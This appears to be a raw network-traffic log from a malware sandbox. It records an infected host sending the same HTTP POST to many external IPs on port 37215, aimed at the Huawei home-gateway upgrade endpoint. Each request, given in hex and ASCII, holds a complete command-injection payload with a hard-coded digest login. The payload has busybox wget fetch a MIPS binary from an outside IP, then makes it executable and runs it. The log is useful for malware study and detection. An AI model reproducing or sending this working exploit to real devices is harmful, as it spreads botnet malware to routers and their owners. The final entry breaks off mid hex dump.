Jun 10, 2024 15:38:00.009869099 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
165	192.168.2.13	54964	41.58.54.58	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.010669947 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
166	192.168.2.13	43896	41.186.220.178	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.011379004 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
167	192.168.2.13	50268	197.128.25.119	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.012098074 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
168	192.168.2.13	49156	156.245.237.250	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.012794018 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
169	192.168.2.13	52976	197.57.169.86	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.013509035 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
170	192.168.2.13	56360	41.241.121.248	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.014209986 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
171	192.168.2.13	38984	156.122.137.98	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.014910936 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
172	192.168.2.13	40590	41.194.61.76	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.015623093 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
173	192.168.2.13	60502	156.176.31.94	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.016307116 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
174	192.168.2.13	41972	156.163.189.151	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.017007113 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 